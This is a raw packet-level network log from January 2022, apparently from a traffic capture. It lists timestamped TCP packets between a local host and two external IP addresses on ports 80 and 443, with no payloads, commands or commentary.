Jan 14, 2022 20:30:12.751326084 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751339912 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751363039 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751384974 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751401901 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751414061 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751431942 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751442909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751465082 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751485109 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751509905 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751512051 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751538038 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751549006 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751571894 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751610041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751622915 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751637936 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751662016 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751667023 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751692057 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751722097 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751732111 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751751900 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751760006 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751777887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751807928 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751817942 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751836061 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751857996 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751888037 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751898050 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751915932 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751925945 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751943111 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751965046 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751995087 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752006054 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752023935 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752032995 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752051115 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752072096 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752099991 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752111912 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752131939 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752140045 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752159119 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752180099 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752207994 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752222061 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752240896 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752254009 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752269030 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752295017 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752322912 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752350092 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752351999 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752378941 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752381086 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752403021 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752423048 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752449989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752466917 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752477884 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752499104 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752526045 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752537966 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752552032 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752564907 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752578974 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752600908 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752626896 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752640009 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752654076 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752669096 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752681971 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752702951 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752729893 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752743959 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752757072 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752768040 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752783060 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752805948 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752832890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752861977 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752871037 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752888918 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752899885 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752919912 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752944946 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752965927 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752971888 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.752991915 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.752998114 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753019094 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753043890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753062963 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.753071070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753093958 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.753097057 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753118038 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753137112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753161907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753179073 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.753189087 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753209114 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753227949 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753247976 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753262043 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.753274918 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753294945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753319979 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753338099 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.753348112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.753365993 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.762542009 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.762562990 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.762643099 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.765516996 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.765544891 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.765630007 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.768409967 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768450022 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768492937 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768521070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768552065 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768587112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.768693924 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770545959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770572901 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770628929 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770642996 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770663977 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770684004 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770710945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770731926 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770752907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770772934 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770776033 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770783901 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770790100 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770796061 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770817041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770831108 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770845890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770867109 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770878077 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770895958 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770916939 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770921946 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770941019 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770953894 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.770962000 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.770983934 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771011114 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771034002 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771040916 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771064997 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771071911 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771095037 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771123886 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771140099 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771145105 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771167994 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771178007 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771195889 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771214008 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771219015 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771239996 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771266937 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771287918 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771287918 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771308899 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771322966 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771330118 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771349907 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771351099 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771373034 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771389961 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771395922 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771418095 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771447897 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771462917 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771471024 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771492004 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771502018 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771521091 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771538019 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771542072 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771564007 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771589041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771608114 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771609068 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771630049 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771639109 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771656990 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771672010 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771677017 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771698952 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771724939 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771744013 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771749020 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771764994 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771780968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771785975 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771806955 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771807909 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771826982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771847010 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771847010 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771868944 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771889925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771893024 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771909952 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771930933 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771931887 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771951914 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771970987 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.771972895 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.771992922 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772012949 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772012949 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772034883 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772056103 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772062063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772075891 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772095919 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772097111 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772116899 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772130966 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772138119 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772157907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772183895 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772203922 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772219896 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772231102 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772249937 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772259951 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772278070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772291899 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772299051 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772320032 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772325993 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772340059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772361040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772366047 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772382021 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772398949 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772403002 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772423029 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772449970 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.772465944 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.772500992 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.779917002 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.779946089 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.779978037 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.780000925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.780030012 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.780090094 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.780133009 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.782860994 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.782891989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.782929897 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.782953024 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.782983065 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.782984972 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.783015966 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.783046007 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.785940886 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.785959959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.785978079 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.786014080 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.786031961 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.786040068 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.786350965 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789592981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789613962 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789639950 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789673090 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789690971 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789714098 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789727926 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789733887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789755106 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789777040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789783001 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789793015 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789808035 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789818048 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789836884 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789838076 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.789880991 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.789967060 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.790335894 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.807554960 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:17.813266039 CET	49838	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:30:17.813319921 CET	443	49838	94.142.143.116	192.168.2.4
Jan 14, 2022 20:30:17.813505888 CET	49838	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:30:17.921602011 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:17.938949108 CET	80	49921	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:17.942219973 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:17.942431927 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:17.942445040 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:17.959722042 CET	80	49921	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.068389893 CET	80	49921	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.068423986 CET	80	49921	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.068504095 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.068655014 CET	49921	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.085827112 CET	80	49921	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.200434923 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.217741013 CET	80	49922	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.217880964 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.218184948 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.218211889 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.235411882 CET	80	49922	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.290065050 CET	49923	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:30:18.290107012 CET	443	49923	94.142.143.116	192.168.2.4
Jan 14, 2022 20:30:18.290261030 CET	49923	443	192.168.2.4	94.142.143.116
Jan 14, 2022 20:30:18.366767883 CET	80	49922	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.366821051 CET	80	49922	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.367022991 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.367075920 CET	49922	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.384396076 CET	80	49922	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.434689045 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.451900005 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.453170061 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.453471899 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.512861013 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554558992 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554603100 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554642916 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554677963 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.554680109 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554721117 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554732084 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.554759979 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554795980 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554833889 CET	80	49924	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:18.554840088 CET	49924	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:18.554873943 CET	80	49924	8.209.70.0	192.168.2.4
